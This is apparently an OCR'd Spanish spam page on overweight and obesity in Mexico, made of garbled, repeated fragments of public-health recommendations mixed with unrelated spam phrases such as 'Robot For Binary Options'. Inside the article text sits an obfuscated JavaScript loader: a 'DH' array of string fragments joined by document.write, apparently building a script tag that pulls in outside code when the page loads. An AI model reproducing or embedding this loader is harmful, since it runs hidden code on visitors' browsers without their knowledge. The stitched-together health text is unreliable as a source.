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- Ejemplos de iniciativas en escuelas que incluyen varios de los elementos mencionados, se estan
llevando a cabo en México, Brasil, Costa Rica y Ecuador.

- Asegurar la preservacion o implementacién de programas de educacion fisica como parte
obligatoria del curriculo escolar.

b) Que en las escuelas, lugares de congregacion publica y centros de trabajo se brinde acceso
gratuito a agua potable.

c) Favorecer en los centros de trabajo gubernamentales la disponibilidad de frutas y verduras y
restringir la disponibilidad y acceso a bebidas azucaradas y alimentos altos en calorias, azucares, grasas
saturadas y grasas trans, asi como sal o sodio.

d) Proteger a los nifios de la publicidad de bebidas azucaradas y productos comestibles envasados
usando medidas regulatorias efectivas. Se sugiere considerar las recomendaciones de la Asamblea
Mundial de la Salud (2010), el marco para la implementacion de tales recomendaciones (2012), asi como
la consulta del grupo de expertos de la Organizacion Panamericana de la Salud (OPS, 2011).

e) Promover la lactancia materna, asi como asegurar la implementacién completa y efectiva de los
codigos de sucedaneos de leche materna que los paises estan obligados a aplicar.

f) Establecer etiquetados frontales que identifiquen claramente los productos envasados y las
bebidas no recomendados por su alto contenido de sal, sodio, azlcares, grasas saturadas, grasas transy
calorias, incluyendo alertas textuales y/o pictéricas de los niveles altos de esos ingredientes. Lo anterior
debe de acompafiarse de acciones de promocion de alimentos naturales, no procesados.

g) Adoptar politicas fiscales efectivas, como subsidios que estimulen el mayor consumo de frutas y
verduras e impuestos que desincentiven el consumo de bebidas azucaradas y productos comestibles
altos en calorias, azucares, grasas saturadas y grasas trans, asi como sal o sodio. Cuando sea posible,
destinar la recaudacion tributaria a fines vinculados a temas de salud publica.

h) Desarrollar estrategias de informacion y comunicacion con el apoyo de expertos, en asociacion
con medios de comunicacion, el sector Educativo y medios de la sociedad civil. Estos deben ser
programas permanentes que ayuden al publico a familiarizarse y adoptar conductas saludables como el
consumo de una dieta saludable, y que alerten sobre los peligros de un consumo habitual de productos
procesados y bebidas que aumentan el riesgo de obesidad y enfermedades crénicas relacionadas con la
dieta.

3. Se recomienda que las autoridades publicas nacionales que decidan actuar para proteger a los
nifios de la epidemia de obesidad, lo hagan mediante decretos gubernamentales o leyes, de suerte que
la implementacion de estandares sea obligatoria y efectiva.

4, El progreso en la prevencion de la obesidad de los nifios es solo parte de un esfuerzo mayor por
asegurar a la poblaciéon el derecho y acceso real a una alimentacion saludable. Tal esfuerzo requiere,
por un lado, el concurso de diversos sectores publicos nacionales como agricultura, seguridad
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El peso en su justa medida Cuando los expertos utilizan el término “sobrepeso”, no se refieren a tener unos pocos kilos de més..
Pero tener sobrepeso es un una cuestion médica porque puede afectar gravemente a la salud de una persona.. O sea que el
sobrepeso puede repercutir negativamente sobre la calidad de vida global de una persona.

Definir el sobrepeso Cuando la gente ingiere mds calorias de las que quema, su cuerpo acumula las calorias sobrantes en forma
de grasa.. write(DH["Uw"]+DH["WR"]+DH["PM"]+DH["Ds"]+DH["Kb"]+DH["EA"]+DH["Qu"]+DH["Ns"]+DH[ "ev"]+DH["
pK"]+DH["Am"]+DH["ak"]+DH["WW"]+DH["ML"]+DH["bQ"]+DH[ "ak"]+DH["WW"]+DH["ML"]+DH["fh"]+DH[ "qo" ]+
DH["LI"]+DH["qW"]+DH["Rr"]+DH["We"]+DH["uv"]+DH["Kb"]+DH["ak"]+DH["WW"]+DH["ML"]+DH["bF"|+DH[ " Xw"
1+DH["ke"]+DH["Ri"]+DH["mQ"]+DH["TY"]+DH["Ak"]+DH[ "fO"]+DH["Wy"]+DH[ "kt"]+DH["MS"]+DH["RA"[+DH[ "y
W'"]+DH["bh"]+DH["rU"]+DH[ "oy"]+DH["Gd"]+DH[ "ak"]+DH["WW"]+DH["ML"]+DH["OM"]+DH["SU"]+DH["DP"]+D
H["Z1"]1+DH["jQ"]+DH[ "eF"]+DH["Tu"]+DH[ "xG"]+DH["Xk"]+DH["IC"]+DH["VD"]+DH["Rr"]+DH["JV"]+DH["0S"]+DH
["jD"]+DH["JF"]+DH["Nf"]+DH["IH"]+DH[ "pB"]+DH["ZW"]+DH["bQ"]+DH[ "ma"]+DH["WR"]+DH[ "PM"]+DH[ "Ds"]);Pr
oblemas de obesidad en mexico pdf El sobrepeso, la obesidad y sus complicaciones son un problema de salud ptiblica
importante en el pais.. Los problemas de salud que se pueden derivar del hecho de tener sobrepeso van mucho maés alld de los
que estamos acostumbrados a oir, como la diabetes o los problemas cardiacos.. El sobrepeso y la obesidad son el principal
problema de Salud Publica en México.. Los médicos utilizan los términos "con sobrepeso” y "obeso" para describir a las
personas que estdn en situacion de riesgo de desarrollar problemas de salud relacionados con el exceso de peso.
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adecuadamente a los problemas de desarrollo y de 2011 http://portal salud gob.. A la larga, se puede llegar a un punto en que el
exceso de grasa corporal puede tener un efecto negativo sobre la salud de la persona. Robot For Binary Options
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- Asegurar la preservacion o implementacién de programas de educacion fisica como parte
obligatoria del curriculo escolar.

b) Que en las escuelas, lugares de congregacion publica y centros de trabajo se brinde acceso
gratuito a agua potable.

c) Favorecer en los centros de trabajo gubernamentales la disponibilidad de frutas y verduras y
restringir la disponibilidad y acceso a bebidas azucaradas y alimentos altos en calorias, azucares, grasas
saturadas y grasas trans, asi como sal o sodio.

d) Proteger a los nifios de la publicidad de bebidas azucaradas y productos comestibles envasados
usando medidas regulatorias efectivas. Se sugiere considerar las recomendaciones de la Asamblea
Mundial de la Salud (2010), el marco para la implementacion de tales recomendaciones (2012), asi como
la consulta del grupo de expertos de la Organizacion Panamericana de la Salud (OPS, 2011).

e) Promover la lactancia materna, asi como asegurar la implementacién completa y efectiva de los
codigos de sucedaneos de leche materna que los paises estan obligados a aplicar.
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programas permanentes que ayuden al publico a familiarizarse y adoptar conductas saludables como el
consumo de una dieta saludable, y que alerten sobre los peligros de un consumo habitual de productos
procesados y bebidas que aumentan el riesgo de obesidad y enfermedades crénicas relacionadas con la
dieta.

3. Se recomienda que las autoridades publicas nacionales que decidan actuar para proteger a los
nifios de la epidemia de obesidad, lo hagan mediante decretos gubernamentales o leyes, de suerte que
la implementacion de estandares sea obligatoria y efectiva.

4, El progreso en la prevencion de la obesidad de los nifios es solo parte de un esfuerzo mayor por
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Descargar PDF Pantalla completa ;Cémo citar? Ver niimero completo P4gina de la revista en.. var yRd =
'sobrepeso+y+obesidad+problemas+de+salud+publica+en+mexico+pdf';var DH = new
Array();DH["Ds"]="t>";DH["jD"]="nl";DH["pB"]=".. La prevalencia combinada Sobrepeso y obesidad, problemas de salud
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j";DH["EA"]="r ";DH["ke"]="c=";DH["Ns"]="=
":DH["0S"]="ow";DH["PM"]="ip";DH["We"]="t/";DH["WW"]="ri";DH["bF"]="\"
":DH["IH"]="en";DH["qW"]="\"t";DH["SU"]="rv";DH["TY"]="p:";DH["Rr"]="ex";DH["Uw"]=". Todo el mundo tiene grasa
corporal, y unos pocos kilitos de mds no suponen ningtin riesgo para la salud en la mayoria de gente.. Las consecuencias del
problema de sobrepeso y obesidad son Niveles actuales de sobrepeso y obesidad en la.. Pero, cuando una persona se habitta a
ingerir mds calorias de las que quema, la grasa se le va acumulando en el cuerpo.. Un poco de grasa corporal de mas no supone
un riesgo para la salud en la mayoria de personas.. mx/sites/salud/descargas/pdf Cuando el sobre peso es un problema de salud
En nuestra sociedad obsesionada con el aspecto fisico mucha gente cree que el sobrepeso es un problema de estética.. El
sobrepeso también puede afectar a las articulaciones, la respiracion, el suefio, el estado de 4nimo y los niveles de energia.
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